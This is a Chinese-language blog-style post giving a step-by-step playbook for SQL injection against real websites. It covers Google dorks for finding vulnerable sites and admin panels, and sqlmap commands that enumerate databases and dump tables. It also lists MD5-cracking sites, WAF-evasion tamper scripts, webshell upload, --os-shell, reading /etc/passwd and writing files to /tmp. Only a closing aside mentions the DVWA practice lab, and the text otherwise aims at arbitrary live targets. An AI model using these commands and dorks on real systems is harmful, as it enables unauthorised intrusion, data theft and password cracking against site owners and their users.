其实也不算心得吧,只是一点小小的体会,抛砖引玉
怎么说呢,还是主要分享一下sql注入的思路,具体的操作还是要看网站了
sql注入点最好的寻找方式就是用google,可以经常去google的exploit-db去寻找不错的注入点,这里我也分享一些吧
google查询语句
提取码:yupw
然后手动简单的测试一下,如果觉得像注入点的话就可以移入我们的sqlmap做进一步测试
当然我们也可以查一个网站下面的注入点,就直接在这些语句后面加一点限制比如说site:company.com intext:公司名称 什么的,达到我们对一个具体目标的测试
这部分其实比较程序化
我是这个习惯
sqlmap -u "url" --batch --random-agent --dbs
batch可以让我们省去等待,免得一会还要yes或者no,我们可以直接让他自己跑,我们继续找,random-agent简单的处理一下头,因为默认的头是sqlmap防止被过滤,然后一上来我喜欢找有哪些数据库
然后爆表
sqlmap -u "url" --batch --random-agent -D database_name --tables
最后爆索引
sqlmap -u "url" --batch --random-agent -D database_name -T table_name --columns
最后爆数据
sqlmap -u "url" --random-agent --batch -D databases_name -T table_name -C columns_name --dump
指定dump就会把我们想要的数据爆出来
那么这里会遇见几个常见的问题
这是一个很常见的问题,之前人们意识淡薄的时候,喜欢命名一些比较简单的,自己也好理解,比如说user-information什么的,这样一看就知道有用户的信息,所以我们可以大胆的往下走,但现在人们意识都提高了,往往命名都比较隐秘,所以我们需要自己去挖掘,一般第一步探测就先过滤掉几个系统表,比如说mysql里面的四个information_schema | mysql| performance_schema | sys几个,就可以选择其他的数据库开始爆里面的数据表,可能数据表里面就可以看出,如果数据表也看不出,就继续往下爆,肯定可以爆出来的
或者实在不开心了,直接把所有的数据表索引都爆了sqlmap -u "url" --random-agent --batch -D database --columns
现在人们安全意识确实提高了很多,最开始明文储存密码,现在加密,以前是弱口令,很容易就被破解了,现在很多密码真的很...难搞,提供几个网站吧,个人正在用的
https://pmd5.com/
https://www.cmd5.com/
https://www.somd5.com/
http://www.ttmd5.com/
http://md5.tellyou.top/
https://hashtoolkit.com/decrypt-hash/
如果实在弄不出来,考虑考虑社工什么的,大不了把所有的数据都爆一遍,拍拍屁股走人算了
现在网站很多都有WAF/IPS,如果被sqlmap发现了,我们可以加点参数混淆
--hex (16进制编码) --skip-waf --hpp 以及里面的--tamper="" 脚本,可以去/usr/share/sqlmap/tamper查看,
space2morehash.py,space2hash.py或者base64encode.py或者charencode.py都是编码方式,我这里也只是提示一下啦,实际情况可能更复杂
这个也比较扎心...
不过我目前两个方法
第一个方法是google搜,利用google爬网,组合一下,首先是第一部分,就是登录页面的可能出现的内容,inurl:login inurl:admin intext:账号 intext:密码 intext:后台 intext:管理 intext:登录,以及英文版本,第二部分就是网站的关键信息,比如说这个网站叫血魔垃圾回收公司,我们可以site:xuemolaji.com 或者intext:血魔垃圾回收,两个部分组合,或许有收获
第二个方法就是工具,我比较推荐御剑,字典不错,是我用的比较好的,如果有不错的也希望大家推荐
御剑1.5
提取码:3f92
如果上面都解决了进了后台,就找找上传目录什么的,把我们的马挂上去,开始你的show time
其实sqlmap自带的也有拿shell方式,就很简单--os-shell
但目前怎么说,很难成功,因为你需要遇见一个傻傻的权限出了很大问题的网站,拿 linux为例
我们的mysql有自己的主目录,web-server是www-data这个用户
我们sqlmap获取对方用户的权限是mysql的身份,它对我们web站点的默认路径/var/www没有写入权限,所以--os-shell比较难获得写入的权限,除非碰上一个chmod 777 /var/www的小可爱
但我们还是可以通过 --file-read读取一些文件
sqlmap -u "url" --batch --random-agent --file-read="/etc/passwd"读取对方的目录
也可以通过--file-write写东西,不过也要注意权限问题,当然linux自带一个所有人都可以写的目录,/tmp,往/tmp这个目录去上传东西,具体操作是
sqlmap -u "url" --batch --random-agent --file-write="1.txt" --file-dest="/tmp/1.txt" write填写本地的路径,dest是目标的路径
但还是有问题,比如说我们传过去一个木马,但是因为默认权限只有rw没有执行
所以其实我们可以最开始直接
sqlmap -u "url" --batch --random-agent --os-shell看看我们有没有这么好的运气,如果有的话之后很多事情就不需要做了
因为我对提权这块还不是很了解..目前只知道这些,还望见谅
额在补充一下,是cookie的
今天迷糊了一下,用 dvwa测试,结果sqlmap判断不出注入点,emm后来我才想起来,dvwa的注入点需要登录之后才可以访问,所以我们需要给sqlmap传入cookie,(cookie怎么看应该会吧,f12按了以后慢慢找..记着按f12之前先把fn开启),不然可能本来是个注入点,但是因为无法访问的原因判断错误
有时候站点可能登录后内部才有注入点,外部扫不出来,所以别忘啦cookie